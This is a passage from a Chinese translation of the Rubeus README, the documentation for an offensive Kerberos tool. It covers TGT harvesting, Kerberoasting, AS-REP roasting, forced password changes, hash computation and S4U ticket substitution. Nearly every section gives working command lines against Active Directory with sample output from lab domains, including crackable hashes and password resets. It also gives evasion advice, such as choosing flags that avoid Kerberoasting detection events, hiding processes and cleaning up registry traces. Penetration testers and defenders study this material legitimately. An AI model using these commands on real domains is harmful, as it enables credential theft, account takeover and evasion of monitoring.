`/displayinterval:X` 秒(默认值为 1200)输出当前“可用”/有效 TGT KRB-CRED .kirbis 的缓存作为 base64 blob。 这允许你从系统中收集可用的 TGT,而无需打开 LSASS 的读取句柄,尽管需要提升权限才能提取票据。 `/nowrap` 标志使 base64 编码的票据输出不换行。 如果你希望 **harvest** 运行特定的时间段,请使用 `/runfor:SECONDS`。 此外,如果你希望将输出保存到注册表,请传递 `/registry` 标志并指定 HKLM 下要创建的路径(例如 `/registry:SOFTWARE\MONITOR`)。然后,你可以在运行 Rubeus 后通过 `Get-Item HKLM:\SOFTWARE\MONITOR\ | Remove-Item -Recurse -Force` 删除此条目。 ``` c:\Rubeus>Rubeus.exe harvest /interval:30 ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v0.0.1a [*] Action: TGT Harvesting (w/ auto-renewal) [*] Monitoring every 30 minutes for 4624 logon events ...(snip)... [*] Renewing TGT for dfm.a@TESTLAB.LOCAL [*] Connecting to 192.168.52.100:88 [*] Sent 1520 bytes [*] Received 1549 bytes [*] 9/17/2018 6:43:02 AM - Current usable TGTs: User : dfm.a@TESTLAB.LOCAL StartTime : 9/17/2018 6:43:02 AM EndTime : 9/17/2018 11:43:02 AM RenewTill : 9/24/2018 2:07:48 AM Flags : name_canonicalize, renewable, forwarded, forwardable Base64EncodedTicket : doIFujCCBbagAw...(snip)... ``` **请注意,此操作需要从提升的上下文运行!** ## Roasting Roasting 命令的细分: | Command | Description | | ----------- | ----------- | | [kerberoast](#kerberoast) | 对所有(或指定的)用户执行 Kerberoasting | | [asreproast](#asreproast) | 对所有(或指定的)用户执行 AS-REP roasting | ### kerberoast **kerberoast** 操作取代了 [SharpRoast](https://github.com/GhostPack/SharpRoast) 项目的功能。像 SharpRoast 一样,此操作使用 [@machosec](https://twitter.com/machosec) 贡献给 PowerView 的 [KerberosRequestorSecurityToken.GetRequest Method()](https://msdn.microsoft.com/en-us/library/system.identitymodel.tokens.kerberosrequestorsecuritytoken.getrequest(v=vs.110).aspx) 方法来请求正确的服务票据(对于默认行为,有关详细信息,请参阅 [opsec 表](#kerberoasting-opsec))。与 SharpRoast 不同,此操作现在对结果结构执行正确的 ASN.1 解析。 在没有其他参数的情况下,当前域中设置了 SPN 的所有用户帐户都将被 Kerberoasted,_请求其支持的最高加密类型_(请参阅 [opsec 表](#kerberoasting-opsec))。`/spn:X` 参数仅 roast 指定的 SPN,`/user:X` 参数仅 roast 指定的用户,`/ou:X` 参数仅 roast 特定 OU 中的用户。`/domain` 和 `/dc` 参数是可选的,像其他操作一样提取系统默认值。 `/stats` 标志将输出有关找到的 kerberoastable 用户的统计信息,包括支持的加密类型和用户密码最后设置年份的细分。此标志可以与其他定位选项结合使用。 `/outfile:FILE` 参数将 roast 的哈希输出到指定文件,每行一个。 如果指定了 `/simple` 标志,roast 的哈希将输出到控制台,每行一个。 如果指定了 `/nowrap` 标志,Kerberoast 结果将不换行。 如果提供了 TGT `/ticket:X`(.kirbi 文件的 base64 编码或磁盘上 .kirbi 文件的路径),则该 TGT 用于在 roasting 期间请求服务服务票据。如果 `/ticket:X` 与 `/spn:Y` 或 `/spns:Y` 一起使用(`/spns:` 可以是一个包含每个 SPN 的文件(每行一个)或逗号分隔的列表),则不会对用户进行 LDAP 搜索,因此可以与 `/dc:Z` 结合从未加入域的系统进行。 如果提供了 `/tgtdeleg` 标志,则使用 [tgtdeleg](#tgtdeleg) 技巧为当前用户获取可用的 TGT,然后将其用于 roasting 请求。如果使用此标志,则在 **msDS-SupportedEncryptionTypes** 中启用 AES 的帐户将请求 RC4 票据。 如果提供了 `/aes` 标志,则枚举在 **msDS-SupportedEncryptionTypes** 中启用 AES 加密的帐户并请求 AES 服务票据。 如果提供了 `/ldapfilter:X` 参数,则提供的 LDAP 过滤器将添加到用于查找 Kerberoastable 用户的最终 LDAP 查询中。 如果指定了 `/rc4opsec` 标志,则使用 **tgtdeleg** 技巧,并枚举和 roast **没有**启用 AES 的帐户。 如果你想使用备用域凭据进行 Kerberoasting(以及搜索要 Kerberoast 的用户),可以使用 `/creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD` 指定它们。 如果提供了 `/pwdsetafter:MM-dd-yyyy` 参数,则仅枚举和 roast 密码在 MM-dd-yyyy 之后最后更改的帐户。 如果提供了 `/pwdsetbefore:MM-dd-yyyy` 参数,则仅枚举和 roast 密码在 MM-dd-yyyy 之前最后更改的帐户。 如果指定了 `/resultlimit:NUMBER` 参数,则将枚举和 roast 的帐户数量限制为 NUMBER。 如果指定了 `/delay:MILLISECONDS` 参数,则在 TGS 请求之间暂停该毫秒数。可以组合 `/jitter:1-100` 标志以获得 % 抖动。 如果使用了 `/enterprise` 标志,则假定 spn 是企业主体(即 *user@domain.com*)。此标志仅在使用 TGT 进行 kerberoasting 时有效。 如果使用了 `/autoenterprise` 标志,如果 roasting SPN 失败(由于 SPN 无效或重复),Rubeus 将自动使用企业主体重试。这仅在*未*提供 `/spn` 或 `/spns` 时有用,因为 Rubeus 需要知道目标帐户的 samaccountname,这是它在查询 LDAP 获取帐户信息时获取的。 如果使用了 `/ldaps` 标志,任何 LDAP 查询都将通过 TLS(端口 636)进行。 如果使用了 `/nopreauth:USER` 参数,则需要 `/spn:Y` 或 `/spns:Y` 参数。`/nopreauth:USER` 参数将尝试向 `/spn:Y` 或 `/spns:Y` 中传递的服务发送 AS-REQ 以请求服务票据。 #### kerberoasting opsec 这是一个从 opsec 角度比较各种标志行为的表格: | Arguments | Description | | ----------- | ----------- | | **none** | 使用 KerberosRequestorSecurityToken roasting 方法,使用支持的最高加密方式 roast | | **/tgtdeleg** | 使用 **tgtdeleg** 技巧执行 RC4 启用帐户的 TGS-REQ 请求,使用指定 RC4 roast 所有帐户 | | **/ticket:X** | 使用提供的 TGT blob/文件进行 TGS-REQ 请求,使用指定 RC4 roast 所有帐户 | | **/rc4opsec** | 使用 **tgtdeleg** 技巧,枚举_未_启用 AES 的帐户,使用指定 RC4 roast | | **/aes** | 枚举启用 AES 的帐户,使用 KerberosRequestorSecurityToken roasting 方法,使用支持的最高加密方式 roast | | **/aes /tgtdeleg** | 使用 **tgtdeleg** 技巧,枚举启用 AES 的帐户,使用指定 AES roast | | **/pwdsetafter:X** | 使用提供的日期,仅枚举密码在该日期之后最后更改的帐户 | | **/pwdsetbefore:X** | 使用提供的日期,仅枚举密码在该日期之前最后更改的帐户 | | **/resultlimit:X** | 使用指定的数字限制将被 roast 的帐户 | | **/nopreauth:USER** | 将发送 AS-REQ 而不是 TGS-REQ,这会导致 4768 事件,而不是经常被监视以进行 kerberoasting 检测的 4769 | #### 示例 使用默认 `KerberosRequestorSecurityToken.GetRequest` 方法 Kerberoast 当前域中的所有用户: ``` C:\Rubeus>Rubeus.exe kerberoast ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.4 [*] Action: Kerberoasting [*] SamAccountName : harmj0y [*] DistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local [*] ServicePrincipalName : asdf/asdfasdf [*] Hash : $krb5tgs$23$*$testlab.local$asdf/asdfasdf*$AE5F019D4CDED6CD74830CC...(snip)... [*] SamAccountName : sqlservice [*] DistinguishedName : CN=SQL,CN=Users,DC=testlab,DC=local [*] ServicePrincipalName : MSSQLSvc/SQL.testlab.local [*] Hash : $krb5tgs$23$*$testlab.local$MSSQLSvc/SQL.testlab.local*$E2B3869290...(snip)... ...(snip)... ``` Kerberoast 特定 OU 中的所有用户,将哈希保存到输出文件: ``` C:\Rubeus>Rubeus.exe kerberoast /ou:OU=TestingOU,DC=testlab,DC=local /outfile:C:\Temp\hashes.txt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.4 [*] Action: Kerberoasting [*] Target OU : OU=TestingOU,DC=testlab,DC=local [*] SamAccountName : testuser2 [*] DistinguishedName : CN=testuser2,OU=TestingOU,DC=testlab,DC=local [*] ServicePrincipalName : service/host [*] Hash written to C:\Temp\hashes.txt [*] Roasted hashes written to : C:\Temp\hashes.txt ``` 使用 `tgtdeleg` 技巧执行 Kerberoasting 以获取可用的 TGT,仅请求密码在 01-31-2005 到 03-29-2010 之间最后设置的帐户的票据,最多返回 3 个服务票据: ``` C:\Rubeus>Rubeus.exe kerberoast /tgtdeleg /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:3 ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.5.0 [*] Action: Kerberoasting [*] Using 'tgtdeleg' to request a TGT for the current user [*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else [*] Searching the current domain for Kerberoastable users [*] Searching for accounts with lastpwdset from 01-31-2005 to 03-29-2010 [*] Up to 3 result(s) will be returned [*] Total kerberoastable users : 3 [*] SamAccountName : harmj0y [*] DistinguishedName : CN=harmj0y,OU=TestOU,DC=theshire,DC=local [*] ServicePrincipalName : testspn/server [*] PwdLastSet : 5/31/2008 12:00:02 AM [*] Supported ETypes : AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 [*] Hash : $krb5tgs$23$*harmj0y$theshire.local$testspn/server*$F6EEFE5026CF8F02E3DC...(snip)... [*] SamAccountName : constraineduser [*] DistinguishedName : CN=constraineduser,CN=Users,DC=theshire,DC=local [*] ServicePrincipalName : blah/blah123 [*] PwdLastSet : 9/5/2009 7:48:50 PM [*] Supported ETypes : RC4_HMAC [*] Hash : $krb5tgs$23$*constraineduser$theshire.local$blah/blah123*$6F0992C377AA12...(snip)... [*] SamAccountName : newuser [*] DistinguishedName : CN=newuser,CN=Users,DC=theshire,DC=local [*] ServicePrincipalName : blah/blah123456 [*] PwdLastSet : 9/12/2008 8:05:16 PM [*] Supported ETypes : RC4_HMAC, AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 [*] Hash : $krb5tgs$23$*newuser$theshire.local$blah/blah123456*$C4561559C2A7DF07712...(snip)... ``` 列出有关找到的 Kerberoastable 帐户的统计信息,而不实际发送票据请求: ``` C:\Rubeus>Rubeus.exe kerberoast /stats ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.5.0 [*] Action: Kerberoasting [*] Listing statistics about target users, no ticket requests being performed. [*] Searching the current domain for Kerberoastable users [*] Total kerberoastable users : 4 ---------------------------------------------------------------------- | Supported Encryption Type | Count | ---------------------------------------------------------------------- | RC4_HMAC_DEFAULT | 1 | | RC4_HMAC | 1 | | AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 | 1 | | RC4_HMAC, AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 | 1 | ---------------------------------------------------------------------- ---------------------------------- | Password Last Set Year | Count | ---------------------------------- | 2019 | 4 | ---------------------------------- ``` Kerberoast 特定用户,使用简化的哈希输出: ``` C:\Rubeus>Rubeus.exe kerberoast /user:harmj0y /simple ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.5.0 [*] Action: Kerberoasting [*] NOTICE: AES hashes will be returned for AES-enabled accounts. [*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts. [*] Target User : harmj0y [*] Searching the current domain for Kerberoastable users [*] Total kerberoastable users : 1 $krb5tgs$18$*harmj0y$theshire.local$testspn/server*$F63783C58AA153F24DFCC796A120C55C$06C6929374A2D3...(snip)... ``` Kerberoast 外部_信任_域中的所有用户,不换行结果: ``` C:\Rubeus>Rubeus.exe kerberoast /domain:dev.testlab.local /nowrap ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.5.0 [*] Action: Kerberoasting [*] Target Domain : dev.testlab.local [*] SamAccountName : jason [*] DistinguishedName : CN=jason,CN=Users,DC=dev,DC=testlab,DC=local [*] ServicePrincipalName : test/test [*] Hash : $krb5tgs$23$*$dev.testlab.local$test/test@dev.testlab.local*$969339A82...(snip)... ``` 使用现有 TGT 进行 Kerberoasting: ``` C:\Rubeus>Rubeus.exe kerberoast /ticket:doIFujCCBbagAwIBBaEDAgEWoo...(snip)... /spn:"asdf/asdfasdf" /dc:primary.testlab.local ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.5 [*] Action: Kerberoasting [*] Using a TGT /ticket to request service tickets [*] Target SPN : asdf/asdfasdf [*] Hash : $krb5tgs$23$*USER$DOMAIN$asdf/asdfasdf*$4EFF99FDED690AB4616EB...(snip)... ``` “Opsec” Kerberoasting,使用 **tgtdeleg** 技巧,过滤掉启用 AES 的帐户: ``` C:\Rubeus>Rubeus.exe kerberoast /rc4opsec ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.6 [*] Action: Kerberoasting [*] Using 'tgtdeleg' to request a TGT for the current user [*] Searching the current domain for Kerberoastable users [*] Searching for accounts that only support RC4_HMAC, no AES [*] Found 6 users to Kerberoast! [*] SamAccountName : harmj0y [*] DistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local [*] ServicePrincipalName : asdf/asdfasdf [*] Supported ETypes : RC4_HMAC_DEFAULT [*] Hash : $krb5tgs$23$*harmj0y$testlab.local$asdf/asdfasdf*$6B4AD4B61D37D54...(snip)... ``` ### asreproast **asreproast** 操作取代了 [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast/) 项目,该项目使用(较大的)[BouncyCastle](https://www.bouncycastle.org/) 库执行类似操作。如果域用户未启用 Kerberos 预身份验证,则可以成功为该用户请求 AS-REP,并且结构的一部分可以像 kerberoasting 一样离线破解。有关更多技术信息,[请参阅这篇文章](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/)。 就像 [kerberoast](#kerberoast) 命令一样,如果未提供其他参数,则 roast 所有不需要 Kerberos 预身份验证的用户帐户。`/user:X` 参数仅 roast 指定的用户,`/ou:X` 参数仅 roast 特定 OU 中的用户。`/domain` 和 `/dc` 参数是可选的,像其他操作一样提取系统默认值。 `/outfile:FILE` 参数将 roast 的哈希输出到指定文件,每行一个。 此外,如果你想使用备用域凭据进行 kerberoasting,可以使用 `/creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD` 指定它们。 输出 `/format:X` 默认为 John the Ripper ([Jumbo version](https://github.com/magnumripper/JohnTheRipper))。`/format:hashcat` 也是新 hashcat 模式 18200 的一个选项。 如果使用了 `/ldaps` 标志,任何 LDAP 查询都将通过 TLS(端口 636)进行。 AS-REP roasting 当前域中的所有用户: ``` C:\Rubeus>Rubeus.exe asreproast ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.4 [*] Action: AS-REP roasting [*] Target Domain : testlab.local [*] SamAccountName : dfm.a [*] DistinguishedName : CN=dfm.a,CN=Users,DC=testlab,DC=local [*] Using domain controller: testlab.local (192.168.52.100) [*] Building AS-REQ (w/o preauth) for: 'testlab.local\dfm.a' [*] Connecting to 192.168.52.100:88 [*] Sent 163 bytes [*] Received 1537 bytes [+] AS-REQ w/o preauth successful! [*] AS-REP hash: $krb5asrep$dfm.a@testlab.local:D4A4BC281B200EE35CBF4A4537792D07$D655...(snip)... [*] SamAccountName : TestOU3user [*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local [*] Using domain controller: testlab.local (192.168.52.100) [*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user' [*] Connecting to 192.168.52.100:88 [*] Sent 169 bytes [*] Received 1437 bytes [+] AS-REQ w/o preauth successful! [*] AS-REP hash: $krb5asrep$TestOU3user@testlab.local:DD6DF16B7E65223679CD703837C94FB...(snip).. [*] SamAccountName : harmj0y2 [*] DistinguishedName : CN=harmj0y2,CN=Users,DC=testlab,DC=local [*] Using domain controller: testlab.local (192.168.52.100) [*] Building AS-REQ (w/o preauth) for: 'testlab.local\harmj0y2' [*] Connecting to 192.168.52.100:88 [*] Sent 166 bytes [*] Received 1407 bytes [+] AS-REQ w/o preauth successful! [*] AS-REP hash: $krb5asrep$harmj0y2@testlab.local:7D2E379A076BB804AF275ED51B86BF85$8...(snip).. ``` AS-REP roasting 特定 OU 中的所有用户,以 Hashcat 格式将哈希保存到输出文件: ``` C:\Rubeus>Rubeus.exe asreproast /ou:OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local /format:hashcat /outfile:C:\Temp\hashes.txt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.4 [*] Action: AS-REP roasting [*] Target OU : OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local [*] Target Domain : testlab.local [*] SamAccountName : TestOU3user [*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local [*] Using domain controller: testlab.local (192.168.52.100) [*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user' [*] Connecting to 192.168.52.100:88 [*] Sent 169 bytes [*] Received 1437 bytes [+] AS-REQ w/o preauth successful! [*] Hash written to C:\Temp\hashes.txt [*] Roasted hashes written to : C:\Temp\hashes.txt ``` AS-REP roasting 特定用户: ``` C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.4 [*] Action: AS-REP roasting [*] Target User : TestOU3user [*] Target Domain : testlab.local [*] SamAccountName : TestOU3user [*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local [*] Using domain controller: testlab.local (192.168.52.100) [*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user' [*] Connecting to 192.168.52.100:88 [*] Sent 169 bytes [*] Received 1437 bytes [+] AS-REQ w/o preauth successful! [*] AS-REP hash: $krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)... ``` AS-REP roasting 外部_信任_域中的所有用户: ``` C:\Rubeus>Rubeus.exe asreproast /domain:dev.testlab.local ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.4 [*] Action: AS-REP roasting [*] Target Domain : dev.testlab.local [*] SamAccountName : devuser3 [*] DistinguishedName : CN=devuser3,CN=Users,DC=dev,DC=testlab,DC=local [*] Using domain controller: dev.testlab.local (192.168.52.105) [*] Building AS-REQ (w/o preauth) for: 'dev.testlab.local\devuser3' [*] Connecting to 192.168.52.105:88 [*] Sent 175 bytes [*] Received 1448 bytes [+] AS-REQ w/o preauth successful! [*] AS-REP hash: $krb5asrep$devuser3@dev.testlab.local:650B881E44B92FB6A378DD21E8B020...(snip)... ``` 使用备用凭据对外部非信任域中的用户进行 AS-REP roasting: ``` C:\Rubeus>Rubeus.exe asreproast /domain:external.local /creduser:"EXTERNAL.local\administrator" /credpassword:"Password123!" ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.4 [*] Action: AS-REP roasting [*] Target Domain : external.local [*] Using alternate creds : EXTERNAL.local\administrator [*] SamAccountName : david [*] DistinguishedName : CN=david,CN=Users,DC=external,DC=local [*] Using domain controller: external.local (192.168.52.95) [*] Building AS-REQ (w/o preauth) for: 'external.local\david' [*] Connecting to 192.168.52.95:88 [*] Sent 165 bytes [*] Received 1376 bytes [+] AS-REQ w/o preauth successful! [*] AS-REP hash: $krb5asrep$david@external.local:9F5A33465C53056F17FEFDF09B7D36DD$47DBAC3...(snip)... ``` ## 杂项 杂项命令的细分: | Command | Description | | ----------- | ----------- | | [createnetonly](#createnetonly) | 创建登录类型 9 的进程 | | [changepw](#changepw) | 执行 Aorato Kerberos 密码重置 | | [hash](#hash) | 将明文密码哈希为 Kerberos 加密密钥 | | [tgssub](#tgssub) | 将备用服务名称替换到服务票据中 | | [currentluid](#currentluid) | 显示当前用户的 LUID | | [logonsession](#logonsession) | 显示登录会话信息 | | [asrep2kirbi](#asrep2kirbi) | 将 AS-REP 和客户端密钥转换为 Kirbi (KERB_CRED) | | [kirbi](#kirbi) 操作 Kirbi's (KERB_CRED) | ### createnetonly **createnetonly** 操作将使用 CreateProcessWithLogonW() API 创建一个新的隐藏(除非指定了 `/show`)进程,其 SECURITY_LOGON_TYPE 为 9 (NewCredentials),相当于 runas /netonly。返回进程 ID 和 LUID(登录会话 ID)。然后可以使用 [ptt /luid:0xA..](#ptt) 参数将特定 Kerberos 票据应用于此进程,假设有提升权限。这防止了擦除当前登录会话的现有 TGT。 创建隐藏的 upnpcont.exe 进程: ``` C:\Rubeus>Rubeus.exe createnetonly /program:"C:\Windows\System32\upnpcont.exe" ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Create Process (/netonly) [*] Showing process : False [+] Process : 'C:\Windows\System32\upnpcont.exe' successfully created with LOGON_TYPE = 9 [+] ProcessID : 9936 [+] LUID : 0x4a0717f ``` 创建可见的命令提示符: ``` C:\Rubeus>Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Create Process (/netonly) [*] Showing process : True [+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9 [+] ProcessID : 5352 [+] LUID : 0x4a091c0 ``` 创建可见的命令提示符并导入票据: ``` C:\Rubeus>Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show /ticket:ticket.kirbi ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Create Process (/netonly) [*] Showing process : True [+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9 [+] ProcessID : 5352 [+] LUID : 0x4a091c0 [+] Ticket successfully imported! ``` ### changepw **changepw** 操作将获取用户的 TGT .kirbi blog 并使用指定的 `/new:PASSWORD` 值执行 MS kpasswd 密码更改。如果未指定 `/dc`,则提取计算机的当前域控制器并将其用作密码重置流量的目标。这是 2014 年披露的 Aorato Kerberos 密码重置,相当于 Kekeo 的 **misc::changepw** 功能。 可以使用 `/targetuser` 参数更改其他用户的密码,前提是 TGT 所属用户具有足够的权限。所需格式为 **domain.com\user**。 **请注意,可以使用用户 TGT 或 kadmin/changepw 的服务票据来更改密码** 可以使用 [asktgt](#asktgt) 命令检索 TGT blob。 ``` C:\Rubeus>Rubeus.exe changepw /ticket:doIFFjCCBRKgA...(snip)...== /new:Password123! ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Reset User Password (AoratoPw) [*] Changing password for user: harmj0y@TESTLAB.LOCAL [*] New password value: Password123! [*] Building AP-REQ for the MS Kpassword request [*] Building Authenticator with encryption key type: rc4_hmac [*] base64(session subkey): nX2FOQ3RsGxoI8uqIg1zlg== [*] Building the KRV-PRIV structure [*] Connecting to 192.168.52.100:464 [*] Sent 1347 bytes [*] Received 167 bytes [+] Password change success! ``` 使用通过 **harmj0y@rubeus.ghostpack.local** 的转介 TGT 检索的 **kadmin/changepw** 服务票据更改另一个用户(**dev.ccob@dev.rubeus.ghostpack.local**)的密码: ``` C:\Rubeus>Rubeus.exe changepw /targetuser:dev.rubeus.ghostpack.local\dev.ccob /new:Pwn3dPassword123! /ticket:doIFYDCCBVygAw...(snip)...RtaW4bCGNoYW5nZXB3 ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.0 [*] Action: Reset User Password (AoratoPw) [*] Using domain controller: DevDC1.dev.rubeus.ghostpack.local (192.168.71.85) [*] Resetting password for target user: dev.rubeus.ghostpack.local\dev.ccob [*] New password value: Pwn3dPassword123! [*] Building AP-REQ for the MS Kpassword request [*] Building Authenticator with encryption key type: aes256_cts_hmac_sha1 [*] base64(session subkey): wCAQoKiWlCjeEjfmqo+aA7ZlLSXYWhv+LzlXkGVJSXU= [*] Building the KRV-PRIV structure [+] Password change success! ``` ### 哈希 **hash** 操作将获取 `/password:X` 和可选的 `/user:USER` 和/或 `/domain:DOMAIN`。它将使用 @gentilkiwi 的 **kerberos:hash** (KERB_ECRYPT HashPassword) 方法生成密码的 rc4_hmac (NTLM) 表示。如果指定了用户和域名,则生成 aes128_cts_hmac_sha1、aes256_cts_hmac_sha1 和 des_cbc_md5 哈希形式。用户和域名用作 AES 和 DES 实现的盐。 计算密码的 rc4_hmac: ``` C:\Rubeus>Rubeus.exe hash /password:Password123! ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.4.0 [*] Action: Calculate Password Hashes [*] Input password : Password123! [*] rc4_hmac : 2B576ACBE6BCFDA7294D6BD18041B8FE [!] /user:X and /domain:Y need to be supplied to calculate AES and DES hash types! ``` 计算所有哈希格式: ``` C:\Rubeus>Rubeus.exe hash /password:Password123! /user:harmj0y /domain:testlab.local ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.4.0 [*] Action: Calculate Password Hashes [*] Input password : Password123! [*] Input username : harmj0y [*] Input domain : testlab.local [*] Salt : TESTLAB.LOCALharmj0y [*] rc4_hmac : 2B576ACBE6BCFDA7294D6BD18041B8FE [*] aes128_cts_hmac_sha1 : B0A79AB550536860123B427C14F2A531 [*] aes256_cts_hmac_sha1 : F7FEBF9779401B653911A56A79FF9E3A58F7F8990FDB3D9CA0E89227ABF13287 [*] des_cbc_md5 : 614589E66D6B3792 ``` ### tgssub **tgssub** 操作将获取服务票据 base64 blob/文件规范并将备用服务名称替换到票据中。这对于 S4U 滥用和其他场景很有用。 `/altservice:X` 参数是必需的,可以是独立的 sname(ldap、cifs 等)或完整的服务主体名称。前者将创建一个仅包含给定服务的新 sname,适用于只需要主机名的情况。后者在某些具有基于资源的约束委派的 S4U2self 滥用场景中很有用。有关更多信息,请参阅 Elad Shamir 关于该主题的[文章](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)。 `/srealm:Y` 参数是可选的,可用于更改票据中的服务域。 `/ptt` 标志将“传递票据”并将生成的 Kerberos 凭据应用于当前登录会话。`/luid:0xA..` 标志将票据应用于指定的登录会话 ID(需要提升权限),而不是当前登录会话。 执行 S4U2self/S4U2proxy 过程以滥用传统的约束委派,并替换最终票据中的 sname。这样你就不必第二次执行 S4U 过程: ``` C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2B576ACBE6BCFDA7294D6BD18041B8FE /msdsspn:ldap/PRIMARY.testlab.local /impersonateuser:harmj0y /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.4.2 [*] Action: Ask TGT [*] Using rc4_hmac hash: 2B576ACBE6BCFDA7294D6BD18041B8FE [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy' [+] TGT request successful! [*] base64(ticket.kirbi): doIE+jCCBPagAwIBBaEDAgEWoo...(snip)... [*] Action: S4U [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building S4U2self request for: 